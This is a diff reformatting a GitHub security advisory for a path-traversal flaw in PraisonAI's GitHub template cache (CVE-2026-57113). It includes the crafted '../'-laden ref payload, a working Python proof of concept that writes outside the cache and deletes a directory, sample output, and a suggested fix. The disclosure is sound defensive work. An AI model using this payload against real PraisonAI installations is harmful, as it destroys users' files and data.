diff --git a/advisories/github-reviewed/2026/06/GHSA-f44v-7qgw-9gh9/GHSA-f44v-7qgw-9gh9.json b/advisories/github-reviewed/2026/06/GHSA-f44v-7qgw-9gh9/GHSA-f44v-7qgw-9gh9.json
index 071b09e2783d..4c31f38d8a73 100644
--- a/advisories/github-reviewed/2026/06/GHSA-f44v-7qgw-9gh9/GHSA-f44v-7qgw-9gh9.json
+++ b/advisories/github-reviewed/2026/06/GHSA-f44v-7qgw-9gh9/GHSA-f44v-7qgw-9gh9.json
@@ -6,8 +6,8 @@
   "aliases": [
     "CVE-2026-57113"
   ],
-  "summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion",
-  "details": "## Summary\n\nPraisonAI's template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref>` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `>= 2.6.0, <= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
+  "summary": "GitHub Template Cache Path Traversal Allows Outside-Cache File Write and Directory Deletion",
+  "details": "## Summary\n\nPraisonAI's template loader accepts GitHub template URIs with refs, for example `github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into `~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref>` without normalizing each segment or checking that the final path remains inside the template cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore escapes the cache directory. The first load can write `.cache_meta.json` outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches `shutil.rmtree(cache_path)` and removes an attacker-selected outside directory before replacing it with cache metadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.\n\n## Technical Details\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref` with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI, fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as `self.cache_dir / \"github\" / resolved.owner / resolved.repo / resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with `shutil.rmtree(cache_path)`, recreates it, copies content, and writes `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by the process permissions.\n\nSuggested severity: High.\n\nSuggested CVSS 3.1: `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` (8.1). If you model the vulnerable component strictly as a local CLI action, the same impact with `AV:L` remains High-adjacent (`7.1`).\n\nSuggested CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-73: External Control of File Name or Path\n\n## Suggested Fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.\n\n## Affected Package/Versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `>= 2.6.0, <= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n### Version Sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added in the `v2.6.0` release commit `e7a8ce8e`.\n\n## Advisory History\n\nVisible PraisonAI advisories were checked. Related advisories are distinct:\n\n- `GHSA-4ph2-f6pf-79wv`: template Zip Slip in archive extraction, affected `<= 4.5.112`, patched `4.5.113`.\n- `GHSA-r9x3-wx45-2v7f`: recipe registry publish path traversal via report package manifest name/version, affected `<= 4.5.112`, patched `>= 4.5.113`.\n- `GHSA-99g3-w8gr-x37c`: recipe unpack tar path traversal.\n- `GHSA-4rx4-4r3x-6534`: recipe registry pull traversal.\n\nThis report covers `praisonai.templates.cache.TemplateCache` and GitHub template URI cache-key construction. It reproduces on `v4.6.57` and current head, so it is not the same as those older fixed advisories.\n\n## References\n\n- PraisonAI templates documentation: https://docs.praison.ai/docs/cli/templates\n- Prior template Zip Slip advisory: https://github.com/advisories/GHSA-4ph2-f6pf-79wv\n- Prior recipe registry publish traversal advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r9x3-wx45-2v7f\n- Similar root-cause pattern in GitPython refs: https://github.com/advisories/GHSA-7545-fcxq-7j24\n- Similar cache path traversal pattern in compliance-trestle: https://github.com/advisories/GHSA-g3vg-vx23-3858\n",
   "severity": [
     {
       "type": "CVSS_V3",
@@ -58,4 +58,4 @@
     "github_reviewed_at": "2026-06-18T14:24:55Z",
     "nvd_published_at": null
   }
-}
\ No newline at end of file
+}